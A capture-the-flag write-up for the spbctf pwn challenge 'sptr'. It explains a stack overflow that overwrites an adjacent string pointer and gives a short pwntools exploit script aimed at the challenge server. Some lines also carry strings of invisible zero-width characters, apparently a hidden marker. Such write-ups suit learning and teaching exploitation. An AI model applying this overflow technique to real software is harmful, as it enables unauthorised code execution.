sptr

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: adjacent_variable_corruption, rodata_address_usage, string_pointer_overwrite

Summary

Task: Stack buffer overflow with adjacent string pointer. Solution: Overwrite pointer to point to "WIN" string in .rodata section to pass strcmp check.

sptr — SPB CTF Pwn Season

Description

"Найдите указатель на строчку и перетрите его"
(Find the string pointer and overwrite it)

Server: nc 109.233.56.90 11600
Binary: sptr — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Stack buffer overflow to overwrite an adjacent string pointer. The binary has a simple vulnerability:

Stack Layout:

• Buffer: rbp-0x10 (8 bytes)
• String pointer: rbp-0x8 (8 bytes, points to some string)
• read() limit: 32 bytes (way more than 8-byte buffer) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The program reads user input, then uses strcmp to compare the string at the pointer with "WIN". If they match, system("cat flag") is called.

Key Insight: Overflow the buffer to overwrite the pointer with the address of the "WIN" string in .rodata section (0x402058).

Solution

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

io = remote('109.233.56.90', 11600)

# 8 bytes padding + address of "WIN" in rodata
payload = b'A' * 8 + p64(0x402058)
io.sendline(payload)

io.interactive()

Breakdown:

• b'A' * 8 — fills the buffer
• p64(0x402058) — overwrites string pointer to point to "WIN" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍